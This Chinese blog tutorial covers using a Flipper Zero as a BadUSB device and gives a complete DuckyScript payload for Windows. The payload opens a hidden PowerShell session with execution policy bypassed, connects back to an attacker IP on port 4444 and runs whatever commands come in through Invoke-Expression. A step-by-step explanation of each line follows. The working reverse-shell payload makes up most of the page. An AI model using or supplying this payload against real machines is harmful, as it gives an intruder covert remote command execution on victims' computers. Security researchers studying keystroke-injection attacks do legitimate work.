Flipper Zero BadUSB反弹shell

Flipper Zero BadUSB反弹shell

前置知识点:

Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。

步骤

创建rev_shell_win.txt文件,并将其拖到badusb文件夹中.

相关代码:

bash 复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell

REM Wait for the system to settle (adjust delay if necessary)
DELAY 1000

REM Open Windows Run dialog (GUI + R)
GUI r
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 750

REM Start reverse shell using PowerShell (replace with your own IP 192.168.x.x and port 4444)
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
DELAY 500

REM Additional delays to give time for the shell to establish the connection
DELAY 1000

REM Finish script
STRING Reverse shell should be active now.
ENTER

代码相关解释

bash 复制代码
1. REM 命令解释
REM 表示 "remark" 或注释,是脚本中的注释标记。注释内容不会被执行,通常用于对代码的解释或说明。以下是脚本中的注释部分:

batch
复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell
这行注释表明这是一个用于演示如何通过 PowerShell 创建反向 shell 的 BadKB 脚本。

batch
复制代码
REM Wait for the system to settle (adjust delay if necessary)
该行注释说明脚本会等待系统稳定下来,尤其是在目标计算机插入 USB 设备后,系统可能需要时间识别设备。

2. DELAY 命令
DELAY 是一个控制脚本执行延时的命令。它使得脚本等待指定的时间,以确保目标系统有足够的时间执行每一步操作。单位为毫秒。

batch
复制代码
DELAY 1000
该命令会让脚本延迟 1000 毫秒(即 1 秒)。这个延迟是为了确保系统和输入环境能够稳定。

3. 打开 Windows Run 对话框
batch
复制代码
GUI r
DELAY 500
GUI r 是模拟按下 Windows 键 + R,这是打开 Run 对话框的快捷键。接着通过 DELAY 500 给系统半秒钟的时间来响应。

batch
复制代码
STRING cmd
DELAY 500
ENTER
接下来,STRING cmd 会在 Run 对话框中输入 cmd,即启动 命令提示符。然后,ENTER 命令会模拟按下 回车键,从而打开 cmd。

4. 执行 PowerShell 脚本以启动反向连接
batch
复制代码
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
这行脚本启动了一个 PowerShell 脚本,用于创建反向连接。

命令解析:

powershell -ExecutionPolicy Bypass -nop -w hidden -c:

-ExecutionPolicy Bypass:绕过 PowerShell 的执行策略,允许执行未签名的脚本。
-nop:表示不加载配置文件(NoProfile),从而加快执行速度。
-w hidden:使 PowerShell 窗口在后台隐藏,不显示在用户桌面上。
-c:执行后续的 PowerShell 代码。
$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444):

创建一个 TCP 客户端对象,并连接到攻击者指定的 IP 地址(192.168.x.x)和端口(4444)。
$stream = $client.GetStream():

获取与远程目标的网络流,这个流用于发送和接收数据。
[byte[]]$bytes = 0..65535|%{0}:

初始化一个字节数组 $bytes,用于接收从网络流中传输的数据。
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0):

循环从网络流中读取数据,直到没有数据可读取为止。
$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i):

将从网络流读取到的字节数据转换成 ASCII 字符串,保存在 $data 变量中。
Write-Host 'Received command: ' $data:

输出调试信息,打印收到的命令。
$sendback = (iex $data 2>&1 | Out-String):

执行接收到的命令,并将任何错误信息和标准输出一起捕获。iex 是 Invoke-Expression,它执行字符串形式的 PowerShell 命令。
Write-Host 'Command output: ' $sendback:

输出执行命令的结果。
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ':

在命令输出后添加 PowerShell 提示符,以便攻击者看到一个类似于本地 PowerShell 环境的提示符。
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2):

将命令的输出(包括提示符)转换为字节数据,以便发送回攻击者的机器。
$stream.Write($sendbyte,0,$sendbyte.Length):

将转换后的字节数据通过网络流发送回攻击者机器。
$stream.Flush():

刷新输出流,确保数据立即被发送。
5. 延迟等待反向连接建立
batch
复制代码
DELAY 500
再次延迟 500 毫秒,确保反向 shell 已成功建立。

6. 脚本结束语
batch
复制代码
STRING Reverse shell should be active now.
ENTER
在脚本的最后,向目标计算机输入一条消息,提示攻击者反向 shell 应该已经激活并可用于远程命令执行。

启动 BadUSB 反向 Shell
查看结果

参考文章:https://hackernoon.com/lang/zh/如何使用鳍状肢零作为-badusb-在-macOS-上获得反向-shell

相关推荐
SlientICE几秒前
MQTT协议:IoT通信的轻量级选手
网络·stm32·单片机·嵌入式硬件·物联网·mongodb
TDengine (老段)2 小时前
TDengine 窗口预聚集
大数据·数据库·物联网·时序数据库·tdengine·iotdb
TDengine (老段)2 小时前
TDengine JAVA 语言连接器
java·大数据·数据库·物联网·时序数据库·iot·tdengine
love530love3 小时前
老硬件也能运行的Win11 IoT LTSC (OEM)物联网版
物联网
安 当 加 密3 小时前
【安当产品应用案例100集】043-安当物联网数据安全传输方案
物联网·数据安全·身份认证·密钥管理·加密技术·固件签名·轻量化协议
触角0101000114 小时前
STM32看门狗应用实战:独立看门狗与窗口看门狗深度解析(下) | 零基础入门STM32第九十五步
驱动开发·stm32·单片机·嵌入式硬件·物联网
Blossom.11820 小时前
物联网安全技术:守护智能世界的防线
人工智能·深度学习·物联网·安全·机器学习·自动化·去中心化
塞尔维亚大汉2 天前
鸿蒙南向开发 ——轻量系统芯片移植指南(二)
物联网·嵌入式·harmonyos
别说我什么都不会2 天前
OpenHarmony内核系统调用hats测试用例编写指南
物联网·嵌入式·harmonyos
触角010100012 天前
STM32看门狗原理与应用详解:独立看门狗 vs 窗口看门狗(上) | 零基础入门STM32第九十四步
驱动开发·stm32·单片机·嵌入式硬件·物联网